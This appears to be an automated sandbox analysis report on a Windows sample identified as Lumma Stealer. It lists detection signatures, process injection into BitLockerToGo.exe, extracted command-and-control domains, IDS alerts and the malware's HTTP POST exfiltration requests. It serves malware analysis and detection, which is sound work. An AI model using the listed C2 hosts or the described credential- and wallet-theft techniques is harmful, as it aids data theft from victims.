Edit tour

Windows Analysis Report
txUcQFc0aJ.exe

Overview

General Information

Sample name:	txUcQFc0aJ.exe renamed because original name is a hash value
Original sample name:	2e3ea061bac71f40040a84deb399f8ce7683f4b8.exe
Analysis ID:	1580259
MD5:	856fcc25696a214f54af0d37de84d818
SHA1:	2e3ea061bac71f40040a84deb399f8ce7683f4b8
SHA256:	92d457b286fb63d2f5ec9413fd234643448c5f8d2c0763e43ed5cf27ab47eb02
Tags:	ArduinoIDEAtaleoGmbHexeuser-NDA0E
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

txUcQFc0aJ.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\txUcQFc0aJ.exe" MD5: 856FCC25696A214F54AF0D37DE84D818)

BitLockerToGo.exe (PID: 7764 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "energyaffai.lat", "aspecteirs.lat", "discokeyus.lat", "bithithol.click", "sustainskelet.lat", "necklacebudi.lat"], "Build id": "VvQOXN--moneytree"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1966405613.00000000014C2000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000003.2085443565.00000000031CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2085504854.000000000316F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2085718854.000000000316F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7764	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7764	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.BitLockerToGo.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
4.2.BitLockerToGo.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:16:28.440312+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.151.61	443	TCP
2024-12-24T08:16:30.440036+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.151.61	443	TCP
2024-12-24T08:16:32.898998+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	172.67.151.61	443	TCP
2024-12-24T08:16:35.540667+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.151.61	443	TCP
2024-12-24T08:16:37.764019+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.151.61	443	TCP
2024-12-24T08:16:40.257292+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.151.61	443	TCP
2024-12-24T08:16:42.756989+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	172.67.151.61	443	TCP
2024-12-24T08:16:46.380672+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	172.67.151.61	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:16:29.185397+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.151.61	443	TCP
2024-12-24T08:16:31.217842+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.151.61	443	TCP
2024-12-24T08:16:47.143767+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	172.67.151.61	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:16:29.185397+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49741	172.67.151.61	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:16:31.217842+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49742	172.67.151.61	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:16:36.361395+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49744	172.67.151.61	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.BitLockerToGo.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "energyaffai.lat", "aspecteirs.lat", "discokeyus.lat", "bithithol.click", "sustainskelet.lat", "necklacebudi.lat"], "Build id": "VvQOXN--moneytree"}

Multi AV Scanner detection for submitted file

Source: txUcQFc0aJ.exe	ReversingLabs: Detection: 47%
Source: txUcQFc0aJ.exe	Virustotal: Detection: 36%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bithithol.click
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: VvQOXN--moneytree

Source: txUcQFc0aJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: txUcQFc0aJ.exe

Static PE information: certificate valid

Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.61:443 -> 192.168.2.4:49748 version: TLS 1.2

Source: txUcQFc0aJ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.0000000001488000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.0000000001488000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], eax	0_2_00813170
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 4x nop then mov dword ptr [esp], edx	0_2_00828B70
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 4x nop then mov dword ptr [esp+30h], eax	0_2_00837C70
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 4x nop then shr ebp, 0Dh	0_2_00833620
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Code function: 4x nop then shr ecx, 0Dh	0_2_00833FD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49742 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49744 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49741 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.151.61:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: bithithol.click
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 172.67.151.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.151.61:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B51MT2CVRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18113Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=USAEBSZZNLZB2S4VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8776Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O1RXQRMTE2OXMHHTAAMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20447Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0ZIJ2HN5W0C85OGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1244Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3S8FTP2CAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 549833Host: bithithol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: bithithol.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: bithithol.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bithithol.click

Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: txUcQFc0aJ.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: txUcQFc0aJ.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: txUcQFc0aJ.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: txUcQFc0aJ.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: txUcQFc0aJ.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: txUcQFc0aJ.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2060017160.000000000555E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038353709.0000000005569000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/
Source: BitLockerToGo.exe, 00000004.00000003.2010489545.000000000318B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/&
Source: BitLockerToGo.exe, 00000004.00000003.1988263434.0000000003177000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038081562.0000000005567000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038024938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/X
Source: BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2110940932.0000000005562000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168885091.000000000316F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/api
Source: BitLockerToGo.exe, 00000004.00000003.2168438145.00000000031E2000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2124087952.00000000031ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2169039111.00000000031E3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2167730722.00000000031DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/apivI
Source: BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/esZ
Source: BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/pi
Source: BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/s
Source: BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click/vox.V
Source: BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click:443/api
Source: BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click:443/api8
Source: BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click:443/apiV%
Source: BitLockerToGo.exe, 00000004.00000003.2010422204.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click:443/apii%.2
Source: BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bithithol.click:443/apin.txtPK
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
